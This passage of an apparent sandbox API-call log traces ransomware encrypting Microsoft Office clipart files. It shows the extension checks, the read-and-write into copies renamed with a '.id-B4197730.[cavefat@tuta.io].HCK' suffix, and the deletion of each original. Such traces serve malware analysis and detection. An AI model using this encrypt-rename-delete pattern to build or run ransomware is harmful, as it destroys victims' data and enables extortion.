(lpString1=".1cd", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".jpg") returned 4 [0234.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.746] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.746] lstrlenW (lpString="J0107490.WMF") returned 12 [0234.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.746] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=16468) returned 1 [0234.746] CloseHandle (hObject=0x4c8) returned 1 [0234.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220 [0234.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.747] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.747] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.748] GetLastError () returned 0x0 [0234.748] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4054, lpOverlapped=0x0) returned 1 [0234.750] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4060, lpOverlapped=0x0) returned 1 [0234.750] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.750] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.751] SetEndOfFile (hFile=0x4cc) returned 1 [0234.751] CloseHandle (hObject=0x4cc) returned 1 [0234.751] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.751] SetEndOfFile (hFile=0x4c8) returned 1 [0234.753] CloseHandle (hObject=0x4c8) returned 1 [0234.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0234.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.754] lstrlenW (lpString=".doc") returned 4 [0234.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.754] lstrlenW (lpString=".docx") returned 5 [0234.754] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.754] lstrlenW (lpString=".pdf") returned 4 [0234.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.754] lstrlenW (lpString=".xls") returned 4 [0234.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.754] lstrlenW (lpString=".xlsx") returned 5 [0234.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.754] lstrlenW (lpString=".ppt") returned 4 [0234.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.754] lstrlenW (lpString=".zip") returned 4 [0234.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.754] lstrlenW (lpString=".rar") returned 4 [0234.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.754] lstrlenW (lpString=".bz2") returned 4 [0234.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.754] lstrlenW (lpString=".7z") returned 3 [0234.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".dbf") returned 4 [0234.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".1cd") returned 4 [0234.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".jpg") returned 4 [0234.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".doc") returned 4 [0234.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString=".docx") returned 5 [0234.755] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.755] lstrlenW (lpString=".pdf") returned 4 [0234.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString=".xls") returned 4 [0234.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.755] lstrlenW (lpString=".xlsx") returned 5 [0234.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.755] lstrlenW (lpString=".ppt") returned 4 [0234.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".zip") returned 4 [0234.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.755] lstrlenW (lpString=".rar") returned 4 [0234.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString=".bz2") returned 4 [0234.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString=".7z") returned 3 [0234.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".dbf") returned 4 [0234.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".1cd") returned 4 [0234.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0234.755] lstrlenW (lpString=".jpg") returned 4 [0234.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.755] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.755] lstrlenW (lpString="J0107492.WMF") returned 12 [0234.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.757] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6860) returned 1 [0234.757] CloseHandle (hObject=0x4c8) returned 1 [0234.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220 [0234.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.758] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.758] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.759] GetLastError () returned 0x0 [0234.759] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0235.016] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0235.018] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.018] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.018] SetEndOfFile (hFile=0x4cc) returned 1 [0235.019] CloseHandle (hObject=0x4cc) returned 1 [0235.019] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.019] SetEndOfFile (hFile=0x4c8) returned 1 [0235.022] CloseHandle (hObject=0x4c8) returned 1 [0235.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0235.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.026] lstrlenW (lpString=".doc") returned 4 [0235.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.026] lstrlenW (lpString=".docx") returned 5 [0235.026] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.026] lstrlenW (lpString=".pdf") returned 4 [0235.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.026] lstrlenW (lpString=".xls") returned 4 [0235.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.026] lstrlenW (lpString=".xlsx") returned 5 [0235.026] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.026] lstrlenW (lpString=".ppt") returned 4 [0235.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.027] lstrlenW (lpString=".zip") returned 4 [0235.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.027] lstrlenW (lpString=".rar") returned 4 [0235.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString=".bz2") returned 4 [0235.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString=".7z") returned 3 [0235.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.027] lstrlenW (lpString=".dbf") returned 4 [0235.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.027] lstrlenW (lpString=".1cd") returned 4 [0235.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.027] lstrlenW (lpString=".jpg") returned 4 [0235.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.027] lstrlenW (lpString=".doc") returned 4 [0235.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.027] lstrlenW (lpString=".docx") returned 5 [0235.027] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.027] lstrlenW (lpString=".pdf") returned 4 [0235.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.028] lstrlenW (lpString=".xls") returned 4 [0235.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.028] lstrlenW (lpString=".xlsx") returned 5 [0235.028] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.028] lstrlenW (lpString=".ppt") returned 4 [0235.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.028] lstrlenW (lpString=".zip") returned 4 [0235.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.028] lstrlenW (lpString=".rar") returned 4 [0235.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.028] lstrlenW (lpString=".bz2") returned 4 [0235.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.028] lstrlenW (lpString=".7z") returned 3 [0235.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.028] lstrlenW (lpString=".dbf") returned 4 [0235.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.028] lstrlenW (lpString=".1cd") returned 4 [0235.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0235.028] lstrlenW (lpString=".jpg") returned 4 [0235.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.028] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.028] lstrlenW (lpString="J0107502.WMF") returned 12 [0235.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.030] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10836) returned 1 [0235.030] CloseHandle (hObject=0x4c8) returned 1 [0235.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220 [0235.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.031] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.031] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.033] GetLastError () returned 0x0 [0235.033] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2a54, lpOverlapped=0x0) returned 1 [0235.034] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0235.036] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.036] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.036] SetEndOfFile (hFile=0x4cc) returned 1 [0235.037] CloseHandle (hObject=0x4cc) returned 1 [0235.037] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.037] SetEndOfFile (hFile=0x4c8) returned 1 [0235.042] CloseHandle (hObject=0x4c8) returned 1 [0235.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString=".doc") returned 4 [0235.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString=".docx") returned 5 [0235.044] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.044] lstrlenW (lpString=".pdf") returned 4 [0235.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString=".xls") returned 4 [0235.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.044] lstrlenW (lpString=".xlsx") returned 5 [0235.044] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.044] lstrlenW (lpString=".ppt") returned 4 [0235.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString=".zip") returned 4 [0235.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.044] lstrlenW (lpString=".rar") returned 4 [0235.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString=".bz2") returned 4 [0235.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString=".7z") returned 3 [0235.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString=".dbf") returned 4 [0235.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString=".1cd") returned 4 [0235.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString=".jpg") returned 4 [0235.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.045] lstrlenW (lpString=".doc") returned 4 [0235.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString=".docx") returned 5 [0235.045] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.045] lstrlenW (lpString=".pdf") returned 4 [0235.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString=".xls") returned 4 [0235.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.045] lstrlenW (lpString=".xlsx") returned 5 [0235.045] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.045] lstrlenW (lpString=".ppt") returned 4 [0235.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.045] lstrlenW (lpString=".zip") returned 4 [0235.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.045] lstrlenW (lpString=".rar") returned 4 [0235.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString=".bz2") returned 4 [0235.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString=".7z") returned 3 [0235.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.045] lstrlenW (lpString=".dbf") returned 4 [0235.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.045] lstrlenW (lpString=".1cd") returned 4 [0235.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0235.045] lstrlenW (lpString=".jpg") returned 4 [0235.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.045] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.045] lstrlenW (lpString="J0107512.WMF") returned 12 [0235.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 